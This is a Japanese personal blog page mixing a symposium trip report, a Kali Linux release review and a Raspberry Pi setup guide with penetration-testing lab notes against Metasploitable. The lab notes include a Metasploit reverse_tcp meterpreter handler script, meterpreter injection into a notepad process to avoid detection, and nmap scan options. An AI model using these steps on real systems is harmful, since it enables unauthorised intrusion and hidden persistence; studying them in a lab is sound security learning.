秋田に行ってみた CSS2016

今回初めてCSS (Computer Security Symposium)2016というものに参加してみた。

会場が秋田というので、のんびり新幹線に揺られて行きました。

f:id:appleseedj073:20161013003022j:image

当然、長旅なのと今回の相方が、理解し難いオッさんという事もあって凹んでます。だから朝から飲みましたよ!(;_;)

 

f:id:appleseedj073:20161013003147j:image

凹む理由は、他にもあるんですけどね!(笑)

 

そんなこんなで新幹線で四時間ほど揺られたら秋田に到着です。

f:id:appleseedj073:20161013003233j:image

 

そして向かったのが秋田キャッスルホテル。名前だけだと何処ぞのラブホ?って気もしたけどしっかりとした真面目なホテルでした(笑)

f:id:appleseedj073:20161013003352j:image

f:id:appleseedj073:20161013003408j:image

 

CSSってのが、この中で何やってるかと言うとセキュリティに携わる大学の先生や、その学生さん、企業の研究者さんの研究論文を発表する場です。だか、実は公開処刑の場でもあった(笑)

 

f:id:appleseedj073:20161013003530j:image

雰囲気 その1

 

f:id:appleseedj073:20161013085845j:image

雰囲気 その2

 

f:id:appleseedj073:20161013085909j:image

雰囲気 その3

 

f:id:appleseedj073:20161013090123j:image

雰囲気 その4

 

学生さんや、プレゼン慣れしてない先生方が緊張しつつ研究成果を発表すると最後に恐怖の質問タイム。聞いていた同業者さんから、研究内容の完全否定から、そんな質問するなよーっていう低レベルな質問、とても紳士的で建設的な意見まで色々言われてました。発表者によっては質問責めにシドロモドロになってて、とても可哀想な感じでした。

いくら大発見してもこの場では発表したく無いかな(笑)

 

f:id:appleseedj073:20161013071418j:image

フロア内に分散する各会場へ向かう途中の廊下では、デモンストレーション・ポスターセッションという形で展示ブースもあった。でも、ここもやはり学会の展示ブース。手作り感あふれるブースで、良く言うと頭の良い学校の文化祭の雰囲気でしたね(笑)

メーカーさんの展示ブースと比較したらいけない。

 

f:id:appleseedj073:20161013003809j:image

それにしてもこのイベントは、参加者を太らせる気か?オヤツは食べ放題なんだよね…w

 

 f:id:appleseedj073:20161013071459j:image

でもね、ちゃんと美味しくいただきましたよ!

 

とりあえず初めて参加した率直な意見としては、必要な話だけ聞いてようかなってところです。まだまだ課題の残る状態での発表もあるし、そもそも調査報告や、新しい発想みたいなものを聞いてもそこから何か作る程の時間もないですし。良く参加してるシンポジウムの様に完成された話では無いって事は、とても理解出来た。あと、事前に発表される論文は事前に読めるけれど、読んでもよくわからないし(笑)←高卒ですから。

 

昼間は難しい発表を聞いて時間ないから、夜になってからお城付近に行ったりウロウロしてた〜。昼間じゃないとよくわからないな。

f:id:appleseedj073:20161013004101j:imagef:id:appleseedj073:20161013063824j:image

 

冷え込んできたので宿の近くで、地酒の飲み比べしましたよ。

f:id:appleseedj073:20161013072259j:image

 

秋田、観光で来たかったなぁ…。

気分はハッカー!・・・演出だって必要なんです。

f:id:appleseedj073:20160929222743p:plain

みんなのイメージとは違うんです!

 

いきなりですが、多くのセキュリティを知らない人たちのイメージする「ハッカー」っていったらこんなイラストの人を想像すると思うんだけど・・・本当は違うんですよ!

ハッカーとはなんぞや?なんて語りませんけど、みんなの期待に応える「ハッカー」であるためには演出も必要ですw

 

セキュリティに疎い上司から「おい、ちょっとハッカーっぽいことしてくれないか?」なんてことを言われませんか?そんな時に使える便利なものを紹介したいと思います。

とりあえずこれを見て!


GeekTyper Reveal

とりあえず、こんな感じにやればOKじゃない?www

プログラムっぽいものがパラパラと流れて、ダウンロードとかアクセス成功とか出るとそれっぽいでしょw

 

やり方は簡単。以下のサイトにアクセスして

f:id:appleseedj073:20160929224443p:plain

GEEKTyper.com - Be The One

画面右側からテーマを選択したら準備OK!

あとは適当にキーボードを叩くだけでスーパーハッカー!www

細かいオプションとかは、画面右側のディレクトリをクリックすればなんとなく操作できる!

あとは、いちおオフィシャルのチュートリアルもあるのでそれを見てね。


GeekTyper.com: Overview & Browser Demo - Awesome Hacking Prank

 

似たようなものでこんなのも紹介されてました。

gigazine.net

 

演出って大事なんです!偉い人にはわからないんですからwww

そして、これもある意味「ソーシャルエンジニアリング」じゃないかな?って私は思ってます。

 

Kali Linuxが、新しくなったそうです

f:id:appleseedj073:20160908103250p:plain

BlackHatも終わったし、そろそろかと思っていたら8月末に新しいヤツが出てましたね。

 

www.kali.org

しかも、今回のバージョンではインターフェースを選べるようになってる!用意されているのは「MATE」、「LXDE」、「e17」、「Xfce」の4種類。

別にいつも通りでいいんだけどねw

 

とりあえず今回加わったラインナップをLiveCDで確認してみた。

ダウンロード貼っときます。

www.kali.org

 

MATE

http://cdimage.kali.org/kali-2016.2/kali-linux-mate-2016.2-amd64.iso

Linux Mintをうちの若い子が使ってるけど、Kaliバージョンはどうなのよ?

f:id:appleseedj073:20160908105112p:plain

起動画面

 

f:id:appleseedj073:20160908105157p:plain

メニュー画面

 

LXDE

http://cdimage.kali.org/kali-2016.2/kali-linux-lxde-2016.2-amd64.iso

Lubuntuとかかな?早くて良いってイメージがある。

f:id:appleseedj073:20160908112516p:plain

ログイン画面からの〜

 

f:id:appleseedj073:20160908112558p:plain

起動画面

 

f:id:appleseedj073:20160908112632p:plain

で、メニュー画面。

確かに起動は、早いかな?(個人的な感想)

 

e17

http://cdimage.kali.org/kali-2016.2/kali-linux-e17-2016.2-amd64.iso

Bodhiが有名かな?これも早い?軽いらしい。

f:id:appleseedj073:20160908113004p:plain

起動画面

個人的にこのインターフェースは好きw

 

f:id:appleseedj073:20160908113044p:plain

メニュー画面

操作に関しては、慣れが必要になるかな?

 

Xfce

http://cdimage.kali.org/kali-2016.2/kali-linux-xfce-2016.2-amd64.iso

ネズミのマークでおなじみのw

Xubuntuとかで有名。でも、最近はメモリを消費するようになって軽いLinuxではなくなった様子。

f:id:appleseedj073:20160908113344p:plain

初回起動の質問からの〜

 

f:id:appleseedj073:20160908113413p:plain

起動画面

 

f:id:appleseedj073:20160908113452p:plain

メニュー画面

 

まとめ

個人的には、もともとで不満はないんだけど、LXDEかe17を試しに使ってみようかな?早くなるなら、早いに越したことはないしね。

【3時間クッキング】ラズベリーパイを作ってみる!

f:id:appleseedj073:20160824150827j:plain

夏休みだし、ちょっと3分クッキング的なことをしてみる

 

材料

f:id:appleseedj073:20160824150729j:plain

 

作り方

1 ラズベリーパイにヒートシンクを取り付ける。

f:id:appleseedj073:20160824154618j:plain

f:id:appleseedj073:20160824154657j:plain

 

2 ラズベリーパイをケースに固定する。

f:id:appleseedj073:20160824154727j:plain

 

3 公式ホームページからOSをダウンロードする。

 ラズベリーパイの公式ホームページに行くと、Raspbian(ラズビアン)とNOOBS(ヌーブス)の2つが選べるようになってる。【Raspbian】はラズベリーパイのOSで、【NOOBS】は【Raspbian】を含めた必要なファイルをまとめてダウンロードできるらしい。だから今回は、NOOBSをダウンロードしてインストールしてみようと思う。

f:id:appleseedj073:20160824153817p:plain

www.raspberrypi.org

NOOBSを選択

 

f:id:appleseedj073:20160824153828p:plain

※NOOBS liteには、Raspbianが入っていないらしいので注意しようw

 

ダウンロードしたら、Zipを展開して中身をMicroSDカードへ入れておく。

 

4 SDカードをラズベリーパイに入れる。

f:id:appleseedj073:20160824224356j:image

ケースの裏側に入れるところがある。

 

5 ディスプレイ、キーボード、マウス、LANケーブル、電源を繋ぐ。

f:id:appleseedj073:20160824224929j:image

ネットワークを認識すると、どのOSをインストールするか聞かれるのでRaspbianをチェックしてインストール。

 

6 あとは出来上がりまで待つだけ…

f:id:appleseedj073:20160824224956j:image

f:id:appleseedj073:20160824225004j:image

f:id:appleseedj073:20160824225020j:image

出来上がり!

 

・・・英語?インストールでは日本語だったのに英語ですか?

これ、小学校低学年の子供に与えようとしているのですが、母国語が日本語の小学生に扱えるのでしょうか?

否!

なんとかして日本語にしないとw

ググったら、親切なサイトがあったので参考にしながら設定してしていく。

liginc.co.jp

 

7 初期パスワードを変更する。

変更お手本サイトを参考にすると・・・まずは初期パスワードの変更をしないといけない様子。

f:id:appleseedj073:20160825212727j:plain

「Preferences」→「Raspberry Pi Configuration」

 

f:id:appleseedj073:20160825212936j:plain

「System」タブ→「Change Password」ボタン

これでパスワード変更できる。

 

8 次にラズベリーパイを最新の状態へアップデートする。

f:id:appleseedj073:20160825213124j:plain

「Preferences」→「Add/Remove Software」

 

f:id:appleseedj073:20160825213147j:plain

「Options」→「Refresh Package Lists」

 

f:id:appleseedj073:20160825213210j:plain

パッケージリストの更新が行われる・・・

 

f:id:appleseedj073:20160825213229j:plain

「Options」→「Check for Updates」

 

f:id:appleseedj073:20160825213250j:plain

アップデートが確認される・・・

 

f:id:appleseedj073:20160825213304j:plain

「Install Updates」をクリック

 

f:id:appleseedj073:20160825213331j:plain

先ほど変更したパスワードが求められる。入力したらインストールが始まる。

 

9 日本語環境を整える。

最新の状態にしても、日本語環境じゃありませんでした(当然ですよねw)

参考にしているWebサイトによると

更新が終わったら、日本語フォント「fonts-takao」をインストールします。一般的にはIPAフォントやVLGothicが使用されることが多いですが、今回はUbuntuの日本語版標準フォントであるTakaoを使用します。

と、あるので「Takao」というフォントをダウンロードする。

f:id:appleseedj073:20160825214156j:plain

「takao」で検索して出てきたやつをとりあえず全部インストールしてみたw

 

次にローカライゼーションをしないといけないらしい

f:id:appleseedj073:20160825212727j:plain

「Preferences」→「Raspberry Pi Configuration」

 

f:id:appleseedj073:20160825214520j:plain

ここで・・・

「Localization」タブを選択し、「Locale」「Timezone」「Keyboard」の3つを下記のとおり設定します。

  • Localeは、「ja(Japanese)」「JP(Japan)」「UTF-8」に設定
  • Timezoneは、「Asia」「Tokyo」に設定
  • Keyboardは「Japan」「Japanese」を選択。

と設定するらしいのでその通りに実施。

 

f:id:appleseedj073:20160825214701j:plain

再起動しろって言われるので従ってみる。

すると・・・日本語になった!☆*:.。. o(≧▽≦)o .。.:*☆

 

でも、まだ日本語入力できない。

Webサイトによると日本語入力のためのプログラムが足りないらしいので以下の手順に従ってインストール。

iBus-anthy」というプログラムが一般的だそうですが、今回は、WindowsMac
で使える「Google日本語入力」のオープンソース版である「iBus-mozc」を使用します。必要なプログラムは以下の6つです。(「ibus」の検索ワードで検索すると出てきます!)

  • Intelligent Input Bus – GTK+3 support
  • Intelligent Input Bus- GTK+2 support
  • Mozc engine for iBus – Client of the Mozc input method
  • qt-immodule for ibus (QT4)(plugin)
  • Intelligent Input Bus – core
  • Input method configuration framework

 

インストールしたら「iBus」の設定を変更する。

f:id:appleseedj073:20160825215130j:plain

「設定」→「iBusの設定」

 

f:id:appleseedj073:20160825215146j:plain

「入力メソッド」タブの「日本語-Japanese」が邪魔なので削除する。

すると、日本語入力ができるようになる。

 

最後に、200℃に予熱したオーブンで焼き上げると美味しいラズベリーパイの完成です(嘘)

とある親父の侵入実験【便利技】

f:id:appleseedj073:20160813022549p:plain

ペネトレーションテストなどをやっていると、何度も繰り返し侵入してみたりする。その度に待ち受け用のHandlerを指定したりするのも結構手間である。

そこで、手抜き技と言うかMetasploitの便利な仕組みとしてのリソースファイルを活用する。このリソースファイルは、ただコマンドをテキストに書き連ねただけでそれを呼び出して実行しているだけ。

例えば、よく使うHandlerのリソースファイルならこんな感じに・・・

 root@kali:~# touch handler.rc
 root@kali:~# echo use exploit/multi/handler >> handler.rc
 root@kali:~# echo use PAYLOAD windows/meterpreter/reverse_tcp >> handler.rc
 root@kali:~# echo set LHOST 172.16.120.1 >> handler.rc
 root@kali:~# echo set ExitOnSession false >> handler.rc
 root@kali:~# echo exploit -j -z >> handler.rc

これでHandler.rcというファイルに必要な手順が書き込まれる。

使用する時は以下の要領で実行

Metasploit起動前

 root@kali:~# msfconsole -r handler.rc

Metasploit起動後

 msf > resource handler.rc

 

このリソースファイルは、他にも活用する場面があると思うので書き残しておく。

とある親父の侵入実験【潜伏(インジェクション)】

f:id:appleseedj073:20160813022549p:plain

上手く侵入できても、不審なプロセスとして止められてしまっては意味がないので、別なプロセスとして偽装し潜伏させるのが御作法らしい。

 

まずはmeterpreterでsessionの確認

f:id:appleseedj073:20160816135429p:plain

最初に作成されたセッションが確認できる。

 

f:id:appleseedj073:20160816135641p:plain

 msf > use exploit/windows/local/payload_inject 

 msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_htt

次にインジェクションを行うexploitを指定して必要なPYALOAD、パラメータを指定する。途中の入力項目「NEWPROCESS true」は、新規にnotepadのプロセスを立ち上げてそれにインジェクションすることになる。falseにした場合は、インジェクションするPIDを指定する。

 

f:id:appleseedj073:20160816135844p:plain

入力内容を確認したらexploitする。成功すると、指定したポートに対して新しいセッションが作成される。

 

f:id:appleseedj073:20160816140225p:plain

ちゃんと対象の端末に侵入できている事が確認できる。

 

f:id:appleseedj073:20160816135356p:plain

セッションが増えているのも確認できる。

ここまでの手順で、notepad.exeのプロセスを起動してインジェクションして新たなセッションを作成したことになる。これで、見た目はnotepadのプロセスという一般的な攻撃手法の完成になる。

とある親父の侵入実験【nmap編】

f:id:appleseedj073:20160813022549p:image

御坂美琴の様なツンデレが好きですが何か?

 

今後、ペネトレーションテスト的な需要が増えそうなので頻繁に使うツールについてまとめておこうと思う。基本的にKali Linuxを使用することが前提でまとめる。

尚、ここでの攻撃対象はMetasploitableを用意している。説明については省略。

 

まずは、誰しもが調査に使うであろうnmapについて。正直自分は、そこまでnmapを使いこなしていない。とりあえずって感じでざっくり調査しておしまいという雑な攻撃しかしないので・・・。

そこで、とりあえず解説してるサイトからオプションを参照してみる。

 

-A OSとバージョンを検知しようとする
-sL 指定したネットワーク内のホスト一覧を表示する(リストスキャン)
-sP pingに応答するホストの一覧を表示する(Pingスキャン)
-sS TCPのSYNパケットを送ってSYN+ACKが返ってくるか調べる(TCP SYNスキャン/TCPハーフスキャン)
-sT TCPでポートに接続できるかを調べる(TCP Connectスキャン)
-sV ソフトウェア名とバージョンの表示を有効にする
-sU UDPポートをスキャンする(UDPスキャン)
-sF FINフラグだけのパケットを送って調べる(TCP FINスキャン)
-sN まったくフラグなしのパケットを送って調べる(TCP Nullスキャン)
-sX FIN/PSH/URGフラグを立てたパケットを送って調べる(Xmasスキャン)
-sA ACKフラグだけのパケットを送って調べる(TCP ACKスキャン)
-b FTP_HOST FTP_HOSTのFTPサーバを利用して調べる(FTPバウンススキャン)
-O OSを検出しようとする
-P0 Pingスキャンを行わない(アクティブなマシンを割り出すためのホスト発見プロセスが省略される)
-PS [PORTLIST] PORTLISTで指定したポート(デフォルトは80番)にSYNフラグ付きの空TCPパケットを送信する(TCP SYN Ping
-PA [PORTLIST] PORTLISTで指定したポート(デフォルトは80番)にACKフラグ付きの空TCPパケットを送信する(TCP ACK Ping
-PU [PORTLIST] PORTLISTで指定したポート(デフォルトは31338番)に空UDPパケットを送信する(UDP Ping
-PE ICMPタイプ8(エコー要求)パケットをターゲットに送信する(ICMP Ping
-PR IPベースのスキャンより高速なARPスキャンを行う(ARP Ping
-n DNSによる逆引き名前解決を行わない
-R すべてのターゲットに対して常にDNSによる逆引き名前解決を行う
-p PORT スキャンするポートをPORTで指定する(1-1023、U:53,T:80)UはUDPポート、TはTCPポートを示す
-F 限定したポートのみ調べる(約1200ポート)
-r 調べるポートの順番を無作為(デフォルト)ではなく順に選ぶ

Linuxコマンド集 - 【nmap】ポートスキャンを実施する:ITpro より

 

こうやって見てみると、とりあえずリファレンスに書いてあるオプションをそのまま使っていただけだなぁ・・・と、しみじみ思うσ(^_^;)

 

じゃあ実際にいつも使っているコマンドはどんな感じかというと・・・

 nmap IPアドレス

 nmap ネットワークアドレス

 nmap -v -A IPアドレス

 

レパートリー少ないな・・・。

このままじゃ自分にとっても何の参考にもならないので、プレゼンの時によく使うnmapのGUIアプリケーション「Zenmap」の中からオプションの組み合わせを参考にしてみる。

f:id:appleseedj073:20160814224827p:plain

ちなみにZenmapの画面。コマンドライン上で

 zenmap

と入力すると立ち上がる。

Zenmapのスキルプロファイルから選択できる項目は10種類

1. Intense scan

 nmap -T4 -A -v ホスト名 or IPアドレス

 「-T4」:タイミングのテンプレートを「aggressive」に指定して実行。

以下にテンプレートの解説をnmapのオフィシャルより引用。

テンプレート名は、paranoid (0)、sneaky (1)、polite (2)、normal (3)、aggressive (4)、insane (5)である。最初の2つは、IDS回避用のテンプレートである。Politeモードは、スキャン処理速度を落とし、帯域幅とターゲットマシンのリソースの使用量を少なくするためのものである。Normalモードはデフォルトなので、としても特に何もしない。Aggressiveモードは、ユーザが適度に高速で信頼性の高いネットワーク上にいることを想定して、スキャン速度を上げる。最後にInsaneモードは、非常に高速なネットワーク上にいるか、あるいは速度と引き換えに精度の一部を犠牲にしても構わない場合を想定したモードである。

 「-A」:OSとバージョンを検知する

 「-v」:詳細なスキャン情報を取得

2. Intense scan plus UDP

 nmap -sS -sU -T4 -A -v ホスト名 or IPアドレス

 「-sS」:TCPのSYNパケットを送ってSYN+ACKが返ってくるか調べる(TCP SYNスキャン/TCPハーフスキャン)

 「-sU」:UDPポートをスキャンする(UDPスキャン)

3. Intense scan, all TCP ports

 nmap -p 1-65535 -T4 -A -v ホスト名 or IPアドレス

 「-p <ポート番号>」:ポート番号を指定する(ここでは1-65535)

4. Intense scan, no ping

 nmap -T4 -A -v -Pn ホスト名 or IPアドレス

 「-Pn」:事前のPing送信をせずにスキャンを行う

5. Ping scan

 nmap -sn ネットワークアドレス

 「-sn」:ホスト検出を行うが、ポートスキャンは行わない。

6. Quick scan

 nmap -T4 -F ホスト名 or IPアドレス

 「-F」:限定したポートのみ調べる(約1200ポート)

7. Quick scan plus

 nmap -sV -T4 -O -F --version-light ホスト名 or IPアドレス

 「-sV」:ソフトウェア名とバージョンの表示を有効にする

 「-O」:OSを検出しようとする

 「--version-light」:ライトモードのバージョン検出を行う。強度2でバージョン検出を行う

 ※バージョン検出に関連した他のオプション

 「--version-intensity <強度>」:バージョン検出に対する強度を指定する。バージョン検出に対し、0-9の強度を指定する。強度数値が高いほど精度が上がるが、時間がかかる。デフォルト値は7に設定

 「--version-all」:全てのバージョン検出を試みる。強度9でバージョン検出を行う

 「--version-trace」:バージョンスキャンの動作をトレース   

8. Quick traceroute

 nmap -sn --traceroute ホスト名 or IPアドレス

 「--traceroute」:対象ホストまでのパスをトレース

9. Regular scan

 nmap ホスト名 or IPアドレス

10. Slow comprehensive scan

 nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" ホスト名 or IPアドレス

 「-PE」:ICMPタイプ8(エコー要求)パケットをターゲットに送信する(ICMP Ping

 「-PP」:タイプ13(タイムスタンプ要求)のICMPパケットを送信

 「-PS <ポートリスト>」:SYNフラグ付きの空のTCPパケットを送信。<ポートリスト>はSYN付きTCPパケットを送信するポートのリスト。<ポートリスト>が設定されない場合、デフォルトの80が使用される。カンマ区切りで複数のポート、25-80の様にハイフンで範囲が指定できる。

 「-PA <ポートリスト>」:ACKフラグ付きのTCPパケットを送信。仕様は「-PS」とほぼ同様

 「-PU <ポートリスト>」:空のUDPパケットを送信。仕様は「-PS」とほぼ同様

 「-PY」:SCTP(Stream Control Transmission Protocol) INIT

 「--script<スクリプトカテゴリ>|<ディレクトリ>|<ファイル名>|<全て> 」:使用するスクリプトを指定

 もう、これだけでも使いこなせたら完璧な気になってしまうのは考え甘いかな(>_<)

 

簡単にだけどnmapを使ってみて、どんな答えが返ってくるかをまとめる。

 

f:id:appleseedj073:20160815222317p:plain

基本、これだけでもどんなポートが解放されているのかが判別できる。いつもは、これやっておしまいw

 

f:id:appleseedj073:20160815222657p:plain

f:id:appleseedj073:20160815222729p:plain

f:id:appleseedj073:20160815222752p:plain

情報量半端ない!

これからはもう少しnmapを有効活用できるように頑張りますw